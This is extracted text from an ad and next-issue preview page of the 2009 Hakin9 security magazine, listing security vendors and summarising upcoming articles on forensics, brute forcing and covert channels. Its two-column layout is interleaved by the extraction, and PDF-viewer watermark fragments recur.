Company, specializing primarily in serial tral information security testing services
communication, security and flash softwa- since 1989. We understand every element
re. We develop solutions for serial and vir- of networks - hardware, software and pro-
tual communication, implementing both in- tocols - and combine ethical hacking tech-
to our software. Among our other products niques with vulnerability scanning and ISO
are monitoring solutions, system utilities, 27001 to give you a truly comprehensive re-
Java tools and software for mobile phones. view of business risks.

web address: http://www.eltima.com


e-mail: info@eltima.com www.firstbase.co.uk

@ Mediaservice.net @ PSS Srl


@ Mediaservice.net is a European vendor- @ PSS is a consulting company focu-
neutral company for IT Security Testing. sed on Computer Forensics: classic IT as-
Founded in 1997, through our internal Tiger sets (servers, workstations) up to the latest
Team we offer security services (Proactive smartphones analysis. Andrea Ghirardi-
Security, ISECOM Security Training Autho- ni, founder, has been the first CISSP in his
rity for the OSSTMM methodology), sup- country, author of many C.F. publications,
plying an extremely rare professional secu- owning a deep C.F. cases background,
rity consulting approach. both for LEAs and the private sector.

e-mail: info@mediaservice.net e-mail: info@pss.net

Priveon MacScan
Priveon offers complete security lifecyc- MacScan detects, isolates and removes
le services – Consulting, Implementa- spyware from the Macintosh.
tion, Support, Audit and Training. Through Clean up Internet clutter, now detects over
extensive field experience of our expert 8000 blacklisted cookies.
staff we maintain a positive reinforcement Download your free trial from:
loop between practices to provide our cu- http://macscan.securemac.com/
stomers with the latest information and se-
rvices.

http://www.priveon.com
http://blog.priveonlabs.com/ e-mail: macsec@securemac.com

EXCLUSIVE&PRO CLUB
h a n g e Vi h a n g e Vi
XC XC

EXCLUSIVE&PRO CLUB
e e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

NETIKUS.NET ltd Heorot.net


NETIKUS.NET ltd offers freeware tools Heorot.net provides training for penetra-
and EventSentry, a comprehensive moni- tion testers of all skill levels. Developer of
toring solution built around the windows the De-ICE.net PenTest LiveCDs, we ha-
event log and log files. The latest ver- ve been in the information security industry
sion of EventSentry also monitors various since 1990. We offer free, online, on-site,
aspects of system health, for example per- and regional training courses that can help
formance monitoring. EventSentry has re- you improve your managerial and PenTest
ceived numerous awards and is competi- skills.
tively priced.
http://www.netikus.net www.Heorot.net
http://www.eventsentry.com e-mail: contact@heorot.net

ElcomSoft Co. Ltd Lomin Security


ElcomSoft is a Russian software developer Lomin Security is a Computer Network De-
specializing in system security and pas- fense company developing innovative ide-
sword recovery software. Our programs al- as with the strength and courage to de-
low to recover passwords to 100+ applica- fend. Lomin Security specializes in OSSIM
tions incl. MS Office 2007 apps, PDF files, and other open source solutions. Lomin
PGP, Oracle and UNIX passwords. Elcom- Security builds and customizes tools for
Soft tools are used by most of the Fortune corporate and government use for private
500 corporations, military, governments, or public use.
and all major accounting firms. tel:703-860-0931
www.elcomsoft.com http://www.lomin.com
e-mail:info@elcomsoft.com mailto:info@lomin.com

Netsecuris
Netsecuris is a professional provider of
managed information security and consul-
ting services that focuses on ensuring the This is a place for your business card.
security of your networks and systems. Se-
rvices include managed firewall/intrusion Join our EXCLUSIVE&PRO Club
prevention, managed email security, ne-
twork penetration testing, vulnerability as-
For more info e-mail us at
sessments, and information systems risk en@hakin9.org
assessments.
http://www.netsecuris.com
email: sales@netsecuris.com

JOIN OUR EXCLUSIVE CLUB AND GET:

l Hakin9 one year subscription


l classified ad for duration of your subscription
l discount on advertising

You wish to have an ad here?


Join our EXLUSIVE&PRO CLUB!
For more info e-mail us at en@hakin9.org or go to www.hakin9.org/en

EXCLUSIVE&PRO CLUB
UPCOMING
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

in the next issue...


Simple DLP Verification
Using Network Grep
Network grep is a pcap-aware tool that
associates with libpcap and will allow
you to utilize regular or hexadecimal
expressions to match against data
payloads found in packets. If it discovers
a match you can specify the tool to
dump into a file for analysis. This article
will actually show simple techniques on
obtaining information or checking possible
data leakage by residing on a network and
lurking over network traffic using network
grep for auditing purposes..

Network Forensics: More Brute Forcing User Names Protocol Channels


than Looking for Cleartext Brute forcing is the ultimate „James Bond” Covert channel techniques are used
Passwords tactic of any hacker worth his or her salt. In by attackers to transfer hidden data.
Digital forensics can be defined as the order to maintain integrity, the true hacker There are two main categories of covert
acquisition and analysis of evidence from must not expect any advantage from the channels: timing channels and storage
electronic data to discover incidents of system. He, or she, is thus in the position channels. This text introduces a new
malicious or suspicious intent and correlate of the classic road warrior who, while storage channel technique called a
them with hackers or non-compliant bereft of all social support systems, must protocol channels. A protocol channel
employees. Sources of electronic data plunder in order to attain a competitive switches one of at least two protocols to
would include computer systems, storage edge in a capitalist world. In the context of send a bit combination to a destination.
mediums, electronic files and packets hacking, this means you have to engage The main goal of a protocol channel is
traversing over a network. Digital forensics in subversive activities if you expect to that the packets sent look equal to all
is mainly conducted at two layers: network succeed. other usual packets of the system what
and system. makes a protocol channel hard to detect.

A Windows-FE Based
Forensic Boot CD
Current information on the Around February and March of this year
Hakin9 Magazine can be there were rumors in some IT-security
and Forensic-blogs about a Microsoft
found at:
Windows FE Boot-CD – a minimized
http://www.hakin9.org/en bootable Vista for forensic purposes
(hence the name FE that should stand for
The editors reserve the right to make content changes Forensic Environment) Windows is used
as an operating system for almost all of
The next issue goes on sale the recognized forensic software. But is
in September 2009 also suitable for a forensic Boot-CD? In
this article it will be shown you that it really
works.

82 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

You might also like